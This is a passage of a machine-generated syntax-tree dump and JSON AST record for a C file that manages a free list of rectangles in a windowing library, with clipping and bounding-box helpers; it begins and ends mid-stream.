(identifier) "rlist" (->) "->" (field_identifier) "next" (;) ";" (}) "}" (else_clause) "else { \n ptr = 0; \n }" (else) "else" (compound_statement) "{ \n ptr = 0; \n }" ({) "{" (expression_statement) "ptr = 0;" (assignment_expression) "ptr = 0" (identifier) "ptr" (=) "=" (number_literal) "0" (;) ";" (}) "}" (return_statement) "return ptr;" (return) "return" (identifier) "ptr" (;) ";" (}) "}" (function_definition) "void rect_free(RectPtr ptr) { \n RectPtr temp; \n \n temp = rlist; \n rlist = ptr; \n ptr->next = temp; \n}" (primitive_type) "void" (function_declarator) "rect_free(RectPtr ptr)" (identifier) "rect_free" (parameter_list) "(RectPtr ptr)" (() "(" (parameter_declaration) "RectPtr ptr" (type_identifier) "RectPtr" (identifier) "ptr" ()) ")" (compound_statement) "{ \n RectPtr temp; \n \n temp = rlist; \n rlist = ptr; \n ptr->next = temp; \n}" ({) "{" (declaration) "RectPtr temp;" (type_identifier) "RectPtr" (identifier) "temp" (;) ";" (expression_statement) "temp = rlist;" (assignment_expression) "temp = rlist" (identifier) "temp" (=) "=" (identifier) "rlist" (;) ";" (expression_statement) "rlist = ptr;" (assignment_expression) "rlist = ptr" (identifier) "rlist" (=) "=" (identifier) "ptr" (;) ";" (expression_statement) "ptr->next = temp;" (assignment_expression) "ptr->next = temp" (field_expression) "ptr->next" (identifier) "ptr" (->) "->" (field_identifier) "next" (=) "=" (identifier) "temp" (;) ";" (}) "}" (function_definition) "void rect_min_bound(Rect *r1, Rect *r2, Rect *min_bound) { \n if (r1->ulx >= r2->ulx) { \n min_bound->ulx = r2->ulx; \n } else { \n min_bound->ulx = r1->ulx; \n } \n \n if (r1->uly >= r2->uly) { \n min_bound->uly = r2->uly; \n } else { \n min_bound->uly = r1->uly; \n } \n \n if (r1->lrx <= r2->lrx) { \n min_bound->lrx = r2->lrx; \n } else { \n min_bound->lrx = r1->lrx; \n } \n \n if (r1->lry <= r2->lry) { \n min_bound->lry = r2->lry; \n } else { \n min_bound->lry = r1->lry; \n } \n}" (primitive_type) "void" (function_declarator) "rect_min_bound(Rect *r1, Rect *r2, Rect *min_bound)" (identifier) "rect_min_bound" (parameter_list) "(Rect *r1, Rect *r2, Rect *min_bound)" (() "(" (parameter_declaration) "Rect *r1" (type_identifier) "Rect" (pointer_declarator) "*r1" (*) "*" (identifier) "r1" (,) "," (parameter_declaration) "Rect *r2" (type_identifier) "Rect" (pointer_declarator) "*r2" (*) "*" (identifier) "r2" (,) "," (parameter_declaration) "Rect *min_bound" (type_identifier) "Rect" (pointer_declarator) "*min_bound" (*) "*" (identifier) "min_bound" ()) ")" (compound_statement) "{ \n if (r1->ulx >= r2->ulx) { \n min_bound->ulx = r2->ulx; \n } else { \n min_bound->ulx = r1->ulx; \n } \n \n if (r1->uly >= r2->uly) { \n min_bound->uly = r2->uly; \n } else { \n min_bound->uly = r1->uly; \n } \n \n if (r1->lrx <= r2->lrx) { \n min_bound->lrx = r2->lrx; \n } else { \n min_bound->lrx = r1->lrx; \n } \n \n if (r1->lry <= r2->lry) { \n min_bound->lry = r2->lry; \n } else { \n min_bound->lry = r1->lry; \n } \n}" ({) "{" (if_statement) "if (r1->ulx >= r2->ulx) { \n min_bound->ulx = r2->ulx; \n } else { \n min_bound->ulx = r1->ulx; \n }" (if) "if" (parenthesized_expression) "(r1->ulx >= r2->ulx)" (() "(" (binary_expression) "r1->ulx >= r2->ulx" (field_expression) "r1->ulx" (identifier) "r1" (->) "->" (field_identifier) "ulx" (>=) ">=" (field_expression) "r2->ulx" (identifier) "r2" (->) "->" (field_identifier) "ulx" ()) ")" (compound_statement) "{ \n min_bound->ulx = r2->ulx; \n }" ({) "{" (expression_statement) "min_bound->ulx = r2->ulx;" (assignment_expression) "min_bound->ulx = r2->ulx" (field_expression) "min_bound->ulx" (identifier) "min_bound" (->) "->" (field_identifier) "ulx" (=) "=" (field_expression) "r2->ulx" (identifier) "r2" (->) "->" (field_identifier) "ulx" (;) ";" (}) "}" (else_clause) "else { \n min_bound->ulx = r1->ulx; \n }" (else) "else" (compound_statement) "{ \n min_bound->ulx = r1->ulx; \n }" ({) "{" (expression_statement) "min_bound->ulx = r1->ulx;" (assignment_expression) "min_bound->ulx = r1->ulx" (field_expression) "min_bound->ulx" (identifier) "min_bound" (->) "->" (field_identifier) "ulx" (=) "=" (field_expression) "r1->ulx" (identifier) "r1" (->) "->" (field_identifier) "ulx" (;) ";" (}) "}" (if_statement) "if (r1->uly >= r2->uly) { \n min_bound->uly = r2->uly; \n } else { \n min_bound->uly = r1->uly; \n }" (if) "if" (parenthesized_expression) "(r1->uly >= r2->uly)" (() "(" (binary_expression) "r1->uly >= r2->uly" (field_expression) "r1->uly" (identifier) "r1" (->) "->" (field_identifier) "uly" (>=) ">=" (field_expression) "r2->uly" (identifier) "r2" (->) "->" (field_identifier) "uly" ()) ")" (compound_statement) "{ \n min_bound->uly = r2->uly; \n }" ({) "{" (expression_statement) "min_bound->uly = r2->uly;" (assignment_expression) "min_bound->uly = r2->uly" (field_expression) "min_bound->uly" (identifier) "min_bound" (->) "->" (field_identifier) "uly" (=) "=" (field_expression) "r2->uly" (identifier) "r2" (->) "->" (field_identifier) "uly" (;) ";" (}) "}" (else_clause) "else { \n min_bound->uly = r1->uly; \n }" (else) "else" (compound_statement) "{ \n min_bound->uly = r1->uly; \n }" ({) "{" (expression_statement) "min_bound->uly = r1->uly;" (assignment_expression) "min_bound->uly = r1->uly" (field_expression) "min_bound->uly" (identifier) "min_bound" (->) "->" (field_identifier) "uly" (=) "=" (field_expression) "r1->uly" (identifier) "r1" (->) "->" (field_identifier) "uly" (;) ";" (}) "}" (if_statement) "if (r1->lrx <= r2->lrx) { \n min_bound->lrx = r2->lrx; \n } else { \n min_bound->lrx = r1->lrx; \n }" (if) "if" (parenthesized_expression) "(r1->lrx <= r2->lrx)" (() "(" (binary_expression) "r1->lrx <= r2->lrx" (field_expression) "r1->lrx" (identifier) "r1" (->) "->" (field_identifier) "lrx" (<=) "<=" (field_expression) "r2->lrx" (identifier) "r2" (->) "->" (field_identifier) "lrx" ()) ")" (compound_statement) "{ \n min_bound->lrx = r2->lrx; \n }" ({) "{" (expression_statement) "min_bound->lrx = r2->lrx;" (assignment_expression) "min_bound->lrx = r2->lrx" (field_expression) "min_bound->lrx" (identifier) "min_bound" (->) "->" (field_identifier) "lrx" (=) "=" (field_expression) "r2->lrx" (identifier) "r2" (->) "->" (field_identifier) "lrx" (;) ";" (}) "}" (else_clause) "else { \n min_bound->lrx = r1->lrx; \n }" (else) "else" (compound_statement) "{ \n min_bound->lrx = r1->lrx; \n }" ({) "{" (expression_statement) "min_bound->lrx = r1->lrx;" (assignment_expression) "min_bound->lrx = r1->lrx" (field_expression) "min_bound->lrx" (identifier) "min_bound" (->) "->" (field_identifier) "lrx" (=) "=" (field_expression) "r1->lrx" (identifier) "r1" (->) "->" (field_identifier) "lrx" (;) ";" (}) "}" (if_statement) "if (r1->lry <= r2->lry) { \n min_bound->lry = r2->lry; \n } else { \n min_bound->lry = r1->lry; \n }" (if) "if" (parenthesized_expression) "(r1->lry <= r2->lry)" (() "(" (binary_expression) "r1->lry <= r2->lry" (field_expression) "r1->lry" (identifier) "r1" (->) "->" (field_identifier) "lry" (<=) "<=" (field_expression) "r2->lry" (identifier) "r2" (->) "->" (field_identifier) "lry" ()) ")" (compound_statement) "{ \n min_bound->lry = r2->lry; \n }" ({) "{" (expression_statement) "min_bound->lry = r2->lry;" (assignment_expression) "min_bound->lry = r2->lry" (field_expression) "min_bound->lry" (identifier) "min_bound" (->) "->" (field_identifier) "lry" (=) "=" (field_expression) "r2->lry" (identifier) "r2" (->) "->" (field_identifier) "lry" (;) ";" (}) "}" (else_clause) "else { \n min_bound->lry = r1->lry; \n }" (else) "else" (compound_statement) "{ \n min_bound->lry = r1->lry; \n }" ({) "{" (expression_statement) "min_bound->lry = r1->lry;" (assignment_expression) "min_bound->lry = r1->lry" (field_expression) "min_bound->lry" (identifier) "min_bound" (->) "->" (field_identifier) "lry" (=) "=" (field_expression) "r1->lry" (identifier) "r1" (->) "->" (field_identifier) "lry" (;) ";" (}) "}" (}) "}" (function_definition) "int rect_inside_bound(Rect *r1, Rect *bound, Rect *r2) { \n int result; \n \n *r2 = *r1; \n \n if (r1->ulx <= bound->lrx && r1->lrx >= bound->ulx && r1->uly <= bound->lry && r1->lry >= bound->uly) { \n if (bound->ulx > r1->ulx) { \n r2->ulx = bound->ulx; \n } \n if (r1->lrx > bound->lrx) { \n r2->lrx = bound->lrx; \n } \n if (r1->uly < bound->uly) { \n r2->uly = bound->uly; \n } \n if (r1->lry > bound->lry) { \n r2->lry = bound->lry; \n } \n \n result = 0; \n } else { \n result = -1; \n } \n \n return result; \n}" (primitive_type) "int" (function_declarator) "rect_inside_bound(Rect *r1, Rect *bound, Rect *r2)" (identifier) "rect_inside_bound" (parameter_list) "(Rect *r1, Rect *bound, Rect *r2)" (() "(" (parameter_declaration) "Rect *r1" (type_identifier) "Rect" (pointer_declarator) "*r1" (*) "*" (identifier) "r1" (,) "," (parameter_declaration) "Rect *bound" (type_identifier) "Rect" (pointer_declarator) "*bound" (*) "*" (identifier) "bound" (,) "," (parameter_declaration) "Rect *r2" (type_identifier) "Rect" (pointer_declarator) "*r2" (*) "*" (identifier) "r2" ()) ")" (compound_statement) "{ \n int result; \n \n *r2 = *r1; \n \n if (r1->ulx <= bound->lrx && r1->lrx >= bound->ulx && r1->uly <= bound->lry && r1->lry >= bound->uly) { \n if (bound->ulx > r1->ulx) { \n r2->ulx = bound->ulx; \n } \n if (r1->lrx > bound->lrx) { \n r2->lrx = bound->lrx; \n } \n if (r1->uly < bound->uly) { \n r2->uly = bound->uly; \n } \n if (r1->lry > bound->lry) { \n r2->lry = bound->lry; \n } \n \n result = 0; \n } else { \n result = -1; \n } \n \n return result; \n}" ({) "{" (declaration) "int result;" (primitive_type) "int" (identifier) "result" (;) ";" (expression_statement) "*r2 = *r1;" (assignment_expression) "*r2 = *r1" (pointer_expression) "*r2" (*) "*" (identifier) "r2" (=) "=" (pointer_expression) "*r1" (*) "*" (identifier) "r1" (;) ";" (if_statement) "if (r1->ulx <= bound->lrx && r1->lrx >= bound->ulx && r1->uly <= bound->lry && r1->lry >= bound->uly) { \n if (bound->ulx > r1->ulx) { \n r2->ulx = bound->ulx; \n } \n if (r1->lrx > bound->lrx) { \n r2->lrx = bound->lrx; \n } \n if (r1->uly < bound->uly) { \n r2->uly = bound->uly; \n } \n if (r1->lry > bound->lry) { \n r2->lry = bound->lry; \n } \n \n result = 0; \n } else { \n result = -1; \n }" (if) "if" (parenthesized_expression) "(r1->ulx <= bound->lrx && r1->lrx >= bound->ulx && r1->uly <= bound->lry && r1->lry >= bound->uly)" (() "(" (binary_expression) "r1->ulx <= bound->lrx && r1->lrx >= bound->ulx && r1->uly <= bound->lry && r1->lry >= bound->uly" (binary_expression) "r1->ulx <= bound->lrx && r1->lrx >= bound->ulx && r1->uly <= bound->lry" (binary_expression) "r1->ulx <= bound->lrx && r1->lrx >= bound->ulx" (binary_expression) "r1->ulx <= bound->lrx" (field_expression) "r1->ulx" (identifier) "r1" (->) "->" (field_identifier) "ulx" (<=) "<=" (field_expression) "bound->lrx" (identifier) "bound" (->) "->" (field_identifier) "lrx" (&&) "&&" (binary_expression) "r1->lrx >= bound->ulx" (field_expression) "r1->lrx" (identifier) "r1" (->) "->" (field_identifier) "lrx" (>=) ">=" (field_expression) "bound->ulx" (identifier) "bound" (->) "->" (field_identifier) "ulx" (&&) "&&" (binary_expression) "r1->uly <= bound->lry" (field_expression) "r1->uly" (identifier) "r1" (->) "->" (field_identifier) "uly" (<=) "<=" (field_expression) "bound->lry" (identifier) "bound" (->) "->" (field_identifier) "lry" (&&) "&&" (binary_expression) "r1->lry >= bound->uly" (field_expression) "r1->lry" (identifier) "r1" (->) "->" (field_identifier) "lry" (>=) ">=" (field_expression) "bound->uly" (identifier) "bound" (->) "->" (field_identifier) "uly" ()) ")" (compound_statement) "{ \n if (bound->ulx > r1->ulx) { \n r2->ulx = bound->ulx; \n } \n if (r1->lrx > bound->lrx) { \n r2->lrx = bound->lrx; \n } \n if (r1->uly < bound->uly) { \n r2->uly = bound->uly; \n } \n if (r1->lry > bound->lry) { \n r2->lry = bound->lry; \n } \n \n result = 0; \n }" ({) "{" (if_statement) "if (bound->ulx > r1->ulx) { \n r2->ulx = bound->ulx; \n }" (if) "if" (parenthesized_expression) "(bound->ulx > r1->ulx)" (() "(" (binary_expression) "bound->ulx > r1->ulx" (field_expression) "bound->ulx" (identifier) "bound" (->) "->" (field_identifier) "ulx" (>) ">" (field_expression) "r1->ulx" (identifier) "r1" (->) "->" (field_identifier) "ulx" ()) ")" (compound_statement) "{ \n r2->ulx = bound->ulx; \n }" ({) "{" (expression_statement) "r2->ulx = bound->ulx;" (assignment_expression) "r2->ulx = bound->ulx" (field_expression) "r2->ulx" (identifier) "r2" (->) "->" (field_identifier) "ulx" (=) "=" (field_expression) "bound->ulx" (identifier) "bound" (->) "->" (field_identifier) "ulx" (;) ";" (}) "}" (if_statement) "if (r1->lrx > bound->lrx) { \n r2->lrx = bound->lrx; \n }" (if) "if" (parenthesized_expression) "(r1->lrx > bound->lrx)" (() "(" (binary_expression) "r1->lrx > bound->lrx" (field_expression) "r1->lrx" (identifier) "r1" (->) "->" (field_identifier) "lrx" (>) ">" (field_expression) "bound->lrx" (identifier) "bound" (->) "->" (field_identifier) "lrx" ()) ")" (compound_statement) "{ \n r2->lrx = bound->lrx; \n }" ({) "{" (expression_statement) "r2->lrx = bound->lrx;" (assignment_expression) "r2->lrx = bound->lrx" (field_expression) "r2->lrx" (identifier) "r2" (->) "->" (field_identifier) "lrx" (=) "=" (field_expression) "bound->lrx" (identifier) "bound" (->) "->" (field_identifier) "lrx" (;) ";" (}) "}" (if_statement) "if (r1->uly < bound->uly) { \n r2->uly = bound->uly; \n }" (if) "if" (parenthesized_expression) "(r1->uly < bound->uly)" (() "(" (binary_expression) "r1->uly < bound->uly" (field_expression) "r1->uly" (identifier) "r1" (->) "->" (field_identifier) "uly" (<) "<" (field_expression) "bound->uly" (identifier) "bound" (->) "->" (field_identifier) "uly" ()) ")" (compound_statement) "{ \n r2->uly = bound->uly; \n }" ({) "{" (expression_statement) "r2->uly = bound->uly;" (assignment_expression) "r2->uly = bound->uly" (field_expression) "r2->uly" (identifier) "r2" (->) "->" (field_identifier) "uly" (=) "=" (field_expression) "bound->uly" (identifier) "bound" (->) "->" (field_identifier) "uly" (;) ";" (}) "}" (if_statement) "if (r1->lry > bound->lry) { \n r2->lry = bound->lry; \n }" (if) "if" (parenthesized_expression) "(r1->lry > bound->lry)" (() "(" (binary_expression) "r1->lry > bound->lry" (field_expression) "r1->lry" (identifier) "r1" (->) "->" (field_identifier) "lry" (>) ">" (field_expression) "bound->lry" (identifier) "bound" (->) "->" (field_identifier) "lry" ()) ")" (compound_statement) "{ \n r2->lry = bound->lry; \n }" ({) "{" (expression_statement) "r2->lry = bound->lry;" (assignment_expression) "r2->lry = bound->lry" (field_expression) "r2->lry" (identifier) "r2" (->) "->" (field_identifier) "lry" (=) "=" (field_expression) "bound->lry" (identifier) "bound" (->) "->" (field_identifier) "lry" (;) ";" (}) "}" (expression_statement) "result = 0;" (assignment_expression) "result = 0" (identifier) "result" (=) "=" (number_literal) "0" (;) ";" (}) "}" (else_clause) "else { \n result = -1; \n }" (else) "else" (compound_statement) "{ \n result = -1; \n }" ({) "{" (expression_statement) "result = -1;" (assignment_expression) "result = -1" (identifier) "result" (=) "=" (number_literal) "-1" (;) ";" (}) "}" (return_statement) "return result;" (return) "return" (identifier) "result" (;) ";" (}) "}"
1,563
0
{"language": "c", "success": true, "metadata": {"lines": 215, "avg_line_length": 24.71, "nodes": 958, "errors": 0, "source_hash": "dc8137df19bfc1f670fb2340d346ba13a7bf9e339cbaff598707e4e5b5767d99", "categorized_nodes": 760}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_include", "text": "#include \"rect.h\"\r\n", "parent": null, "children": [1, 2], "start_point": {"row": 21, "column": 0}, "end_point": {"row": 22, "column": 0}}, {"id": 1, "type": "#include", "text": "#include", "parent": 0, "children": [], "start_point": {"row": 21, "column": 0}, "end_point": {"row": 21, "column": 8}}, {"id": 2, "type": "string_literal", "text": "\"rect.h\"", "parent": 0, "children": [], "start_point": {"row": 21, "column": 9}, "end_point": {"row": 21, "column": 17}}, {"id": 3, "type": "preproc_include", "text": "#include \"gnw.h\"\r\n", "parent": null, "children": [4, 5], "start_point": {"row": 23, "column": 0}, "end_point": {"row": 24, "column": 0}}, {"id": 4, "type": "#include", "text": "#include", "parent": 3, "children": [], "start_point": {"row": 23, "column": 0}, "end_point": {"row": 23, "column": 8}}, {"id": 5, "type": "string_literal", "text": "\"gnw.h\"", "parent": 3, "children": [], "start_point": {"row": 23, "column": 9}, "end_point": {"row": 23, "column": 16}}, {"id": 6, "type": "declaration", "text": "static RectPtr rlist;", "parent": null, "children": [7, 8], "start_point": {"row": 25, "column": 0}, "end_point": {"row": 25, "column": 21}}, {"id": 7, "type": "type_identifier", "text": "RectPtr", "parent": 6, "children": [], "start_point": {"row": 25, "column": 7}, "end_point": {"row": 25, "column": 14}}, {"id": 8, "type": "identifier", "text": "rlist", "parent": 6, "children": [], "start_point": {"row": 25, "column": 15}, "end_point": {"row": 25, "column": 20}}, {"id": 9, "type": "function_definition", "text": "void GNW_rect_exit(void) {\r\n while (rlist) {\r\n RectPtr ptr = rlist->next;\r\n free(rlist);\r\n rlist = ptr;\r\n }\r\n}", "parent": null, "children": [10, 11], "start_point": {"row": 27, "column": 0}, "end_point": {"row": 33, "column": 1}}, {"id": 10, "type": "primitive_type", "text": "void", "parent": 9, "children": [], "start_point": {"row": 27, "column": 0}, "end_point": {"row": 27, "column": 4}}, {"id": 11, "type": "function_declarator", "text": "GNW_rect_exit(void)", "parent": 9, "children": [12, 13], "start_point": {"row": 27, "column": 5}, "end_point": {"row": 27, "column": 24}}, {"id": 12, "type": "identifier", "text": "GNW_rect_exit", "parent": 11, "children": [], "start_point": {"row": 27, "column": 5}, "end_point": {"row": 27, "column": 18}}, {"id": 13, "type": "parameter_list", "text": "(void)", "parent": 11, "children": [14], "start_point": {"row": 27, "column": 18}, "end_point": {"row": 27, "column": 24}}, {"id": 14, "type": "parameter_declaration", "text": "void", "parent": 13, "children": [15], "start_point": {"row": 27, "column": 19}, "end_point": {"row": 27, "column": 23}}, {"id": 15, "type": "primitive_type", "text": "void", "parent": 14, "children": [], "start_point": {"row": 27, "column": 19}, "end_point": {"row": 27, "column": 23}}, {"id": 16, "type": "while_statement", "text": "while (rlist) {\r\n RectPtr ptr = rlist->next;\r\n free(rlist);\r\n rlist = ptr;\r\n }", "parent": 9, "children": [17], "start_point": {"row": 28, "column": 4}, "end_point": {"row": 32, "column": 5}}, {"id": 17, "type": "parenthesized_expression", "text": "(rlist)", "parent": 16, "children": [18], "start_point": {"row": 28, "column": 10}, "end_point": {"row": 28, "column": 17}}, {"id": 18, "type": "identifier", "text": "rlist", "parent": 17, "children": [], "start_point": {"row": 28, "column": 11}, "end_point": {"row": 28, "column": 16}}, {"id": 19, "type": "declaration", "text": "RectPtr ptr = rlist->next;", "parent": 16, "children": [20, 21], "start_point": {"row": 29, "column": 8}, "end_point": {"row": 29, "column": 34}}, {"id": 20, "type": "type_identifier", "text": "RectPtr", "parent": 19, "children": [], "start_point": {"row": 29, "column": 8}, "end_point": {"row": 29, "column": 15}}, {"id": 21, "type": "init_declarator", "text": "ptr = rlist->next", "parent": 19, "children": [22, 23, 24], "start_point": {"row": 29, "column": 16}, "end_point": {"row": 29, "column": 33}}, {"id": 22, "type": "identifier", "text": "ptr", "parent": 21, "children": [], "start_point": {"row": 29, "column": 16}, "end_point": {"row": 29, "column": 19}}, {"id": 23, "type": "=", "text": "=", "parent": 21, "children": [], "start_point": {"row": 29, "column": 20}, "end_point": {"row": 29, "column": 21}}, {"id": 24, "type": "field_expression", "text": "rlist->next", "parent": 21, "children": [25, 26], "start_point": {"row": 29, "column": 22}, "end_point": {"row": 29, "column": 33}}, {"id": 25, "type": "identifier", "text": "rlist", "parent": 24, "children": [], "start_point": {"row": 29, "column": 22}, "end_point": {"row": 29, "column": 27}}, {"id": 26, "type": "field_identifier", "text": "next", "parent": 24, "children": [], "start_point": {"row": 29, "column": 29}, "end_point": {"row": 29, "column": 33}}, {"id": 27, "type": "call_expression", "text": "free(rlist)", "parent": 16, "children": [28, 29], "start_point": {"row": 30, "column": 8}, "end_point": {"row": 30, "column": 19}}, {"id": 28, "type": "identifier", "text": "free", "parent": 27, "children": [], "start_point": {"row": 30, "column": 8}, "end_point": {"row": 30, "column": 12}}, {"id": 29, "type": "argument_list", "text": "(rlist)", "parent": 27, "children": [30], "start_point": {"row": 30, "column": 12}, "end_point": {"row": 30, "column": 19}}, {"id": 30, "type": "identifier", "text": "rlist", "parent": 29, "children": [], "start_point": {"row": 30, "column": 13}, "end_point": {"row": 30, "column": 18}}, {"id": 31, "type": "assignment_expression", "text": "rlist = ptr", "parent": 16, "children": [32, 33, 34], "start_point": {"row": 31, "column": 8}, "end_point": {"row": 31, "column": 19}}, {"id": 32, "type": "identifier", "text": "rlist", "parent": 31, "children": [], "start_point": {"row": 31, "column": 8}, "end_point": {"row": 31, "column": 13}}, {"id": 33, "type": "=", "text": "=", "parent": 31, "children": [], "start_point": {"row": 31, "column": 14}, "end_point": {"row": 31, "column": 15}}, {"id": 34, "type": "identifier", "text": "ptr", "parent": 31, "children": [], "start_point": {"row": 31, "column": 16}, "end_point": {"row": 31, "column": 19}}, {"id": 35, "type": "function_definition", "text": "void rect_clip_list(RectPtr *pCur, Rect *bound) {\r\n RectPtr *clip;\r\n RectPtr cur;\r\n RectPtr temp;\r\n RectPtr temp2;\r\n RectPtr temp3;\r\n\r\n temp = NULL;\r\n clip = &temp;\r\n if (*pCur) {\r\n do {\r\n cur = (*pCur)->next;\r\n *clip = rect_clip(&(*pCur)->r, bound);\r\n if (*clip) {\r\n do {\r\n temp2 = (*clip)->next;\r\n clip = &(*clip)->next;\r\n } while (temp2);\r\n }\r\n temp3 = rlist;\r\n rlist = (*pCur);\r\n (*pCur)->next = temp3;\r\n (*pCur) = cur;\r\n } while (cur);\r\n }\r\n *pCur = temp;\r\n}", "parent": null, "children": [36, 37], "start_point": {"row": 35, "column": 0}, "end_point": {"row": 61, "column": 1}}, {"id": 36, "type": "primitive_type", "text": "void", "parent": 35, "children": [], "start_point": {"row": 35, "column": 0}, "end_point": {"row": 35, "column": 4}}, {"id": 37, "type": "function_declarator", "text": "rect_clip_list(RectPtr *pCur, Rect *bound)", "parent": 35, "children": [38, 39], "start_point": {"row": 35, "column": 5}, "end_point": {"row": 35, "column": 47}}, {"id": 38, "type": "identifier", "text": "rect_clip_list", "parent": 37, "children": [], "start_point": {"row": 35, "column": 5}, "end_point": {"row": 35, "column": 19}}, {"id": 39, "type": "parameter_list", "text": "(RectPtr *pCur, Rect *bound)", "parent": 37, "children": [40, 45], "start_point": {"row": 35, "column": 19}, "end_point": {"row": 35, "column": 47}}, {"id": 40, "type": "parameter_declaration", "text": "RectPtr *pCur", "parent": 39, "children": [41, 42], "start_point": {"row": 35, "column": 20}, "end_point": {"row": 35, "column": 33}}, {"id": 41, "type": "type_identifier", "text": "RectPtr", "parent": 40, "children": [], "start_point": {"row": 35, "column": 20}, "end_point": {"row": 35, "column": 27}}, {"id": 42, "type": "pointer_declarator", "text": "*pCur", "parent": 40, "children": [43, 44], "start_point": {"row": 35, "column": 28}, "end_point": {"row": 35, "column": 33}}, {"id": 43, "type": "*", "text": "*", "parent": 42, "children": [], "start_point": {"row": 35, "column": 28}, "end_point": {"row": 35, "column": 29}}, {"id": 44, "type": "identifier", "text": "pCur", "parent": 42, "children": [], "start_point": {"row": 35, "column": 29}, "end_point": {"row": 35, "column": 33}}, {"id": 45, "type": "parameter_declaration", "text": "Rect *bound", "parent": 39, "children": [46, 47], "start_point": {"row": 35, "column": 35}, "end_point": {"row": 35, "column": 46}}, {"id": 46, "type": "type_identifier", "text": "Rect", "parent": 45, "children": [], "start_point": {"row": 35, "column": 35}, "end_point": {"row": 35, "column": 39}}, {"id": 47, "type": "pointer_declarator", "text": "*bound", "parent": 45, "children": [48, 49], "start_point": {"row": 35, "column": 40}, "end_point": {"row": 35, "column": 46}}, {"id": 48, "type": "*", "text": "*", "parent": 47, "children": [], "start_point": {"row": 35, "column": 40}, "end_point": {"row": 35, "column": 41}}, {"id": 49, "type": "identifier", "text": "bound", "parent": 47, "children": [], "start_point": {"row": 35, "column": 41}, "end_point": {"row": 35, "column": 46}}, {"id": 50, "type": "declaration", "text": "RectPtr *clip;", "parent": 35, "children": [51, 52], "start_point": {"row": 36, "column": 4}, "end_point": {"row": 36, "column": 18}}, {"id": 51, "type": "type_identifier", "text": "RectPtr", "parent": 50, "children": [], "start_point": {"row": 36, "column": 4}, "end_point": {"row": 36, "column": 11}}, {"id": 52, "type": "pointer_declarator", "text": "*clip", "parent": 50, "children": [53, 54], "start_point": {"row": 36, "column": 12}, "end_point": {"row": 36, "column": 17}}, {"id": 53, "type": "*", "text": "*", "parent": 52, "children": [], "start_point": {"row": 36, "column": 12}, "end_point": {"row": 36, "column": 13}}, {"id": 54, "type": "identifier", "text": "clip", "parent": 52, "children": [], "start_point": {"row": 36, "column": 13}, "end_point": {"row": 36, "column": 17}}, {"id": 55, "type": "declaration", "text": "RectPtr cur;", "parent": 35, "children": [56, 57], "start_point": {"row": 37, "column": 4}, "end_point": {"row": 37, "column": 16}}, {"id": 56, "type": "type_identifier", "text": "RectPtr", "parent": 55, "children": [], "start_point": {"row": 37, "column": 4}, "end_point": {"row": 37, "column": 11}}, {"id": 57, "type": "identifier", "text": "cur", "parent": 55, "children": [], "start_point": {"row": 37, "column": 12}, "end_point": {"row": 37, "column": 15}}, {"id": 58, "type": "declaration", "text": "RectPtr temp;", "parent": 35, "children": [59, 60], "start_point": {"row": 38, "column": 4}, "end_point": {"row": 38, "column": 17}}, {"id": 59, "type": "type_identifier", "text": "RectPtr", "parent": 58, "children": [], "start_point": {"row": 38, "column": 4}, "end_point": {"row": 38, "column": 11}}, {"id": 60, "type": "identifier", "text": "temp", "parent": 58, "children": [], "start_point": {"row": 38, "column": 12}, "end_point": {"row": 38, "column": 16}}, {"id": 61, "type": "declaration", "text": "RectPtr temp2;", "parent": 35, "children": [62, 63], "start_point": {"row": 39, "column": 4}, "end_point": {"row": 39, "column": 18}}, {"id": 62, "type": "type_identifier", "text": "RectPtr", "parent": 61, "children": [], "start_point": {"row": 39, "column": 4}, "end_point": {"row": 39, "column": 11}}, {"id": 63, "type": "identifier", "text": "temp2", "parent": 61, "children": [], "start_point": {"row": 39, "column": 12}, "end_point": {"row": 39, "column": 17}}, {"id": 64, "type": "declaration", "text": "RectPtr temp3;", "parent": 35, "children": [65, 66], "start_point": {"row": 40, "column": 4}, "end_point": {"row": 40, "column": 18}}, {"id": 65, "type": "type_identifier", "text": "RectPtr", "parent": 64, "children": [], "start_point": {"row": 40, "column": 4}, "end_point": {"row": 40, "column": 11}}, {"id": 66, "type": "identifier", "text": "temp3", "parent": 64, "children": [], "start_point": {"row": 40, "column": 12}, "end_point": {"row": 40, "column": 17}}, {"id": 67, "type": "assignment_expression", "text": "temp = NULL", "parent": 35, "children": [68, 69, 70], "start_point": {"row": 42, "column": 4}, "end_point": {"row": 42, "column": 15}}, {"id": 68, "type": "identifier", "text": "temp", "parent": 67, "children": [], "start_point": {"row": 42, "column": 4}, "end_point": {"row": 42, "column": 8}}, {"id": 69, "type": "=", "text": "=", "parent": 67, "children": [], "start_point": {"row": 42, "column": 9}, "end_point": {"row": 42, "column": 10}}, {"id": 70, "type": "null", "text": "NULL", "parent": 67, "children": [71], "start_point": {"row": 42, "column": 11}, "end_point": {"row": 42, "column": 15}}, {"id": 71, "type": "NULL", "text": "NULL", "parent": 70, "children": [], "start_point": {"row": 42, "column": 11}, "end_point": {"row": 42, "column": 15}}, {"id": 72, "type": "assignment_expression", "text": "clip = &temp", "parent": 35, "children": [73, 74, 75], "start_point": {"row": 43, "column": 4}, "end_point": {"row": 43, "column": 16}}, {"id": 73, "type": "identifier", "text": "clip", "parent": 72, "children": [], "start_point": {"row": 43, "column": 4}, "end_point": {"row": 43, "column": 8}}, {"id": 74, "type": "=", "text": "=", "parent": 72, "children": [], "start_point": {"row": 43, "column": 9}, "end_point": {"row": 43, "column": 10}}, {"id": 75, "type": "pointer_expression", "text": "&temp", "parent": 72, "children": [76], "start_point": {"row": 43, "column": 11}, "end_point": {"row": 43, "column": 16}}, {"id": 76, "type": "identifier", "text": "temp", "parent": 75, "children": [], "start_point": {"row": 43, "column": 12}, "end_point": {"row": 43, "column": 16}}, {"id": 77, "type": "if_statement", "text": "if (*pCur) {\r\n do {\r\n cur = (*pCur)->next;\r\n *clip = rect_clip(&(*pCur)->r, bound);\r\n if (*clip) {\r\n do {\r\n temp2 = (*clip)->next;\r\n clip = &(*clip)->next;\r\n } while (temp2);\r\n }\r\n temp3 = rlist;\r\n rlist = (*pCur);\r\n (*pCur)->next = temp3;\r\n (*pCur) = cur;\r\n } while (cur);\r\n }", "parent": 35, "children": [78], "start_point": {"row": 44, "column": 4}, "end_point": {"row": 59, "column": 5}}, {"id": 78, "type": "parenthesized_expression", "text": "(*pCur)", "parent": 77, "children": [79], "start_point": {"row": 44, "column": 7}, "end_point": {"row": 44, "column": 14}}, {"id": 79, "type": "pointer_expression", "text": "*pCur", "parent": 78, "children": [80, 81], "start_point": {"row": 44, "column": 8}, "end_point": {"row": 44, "column": 13}}, {"id": 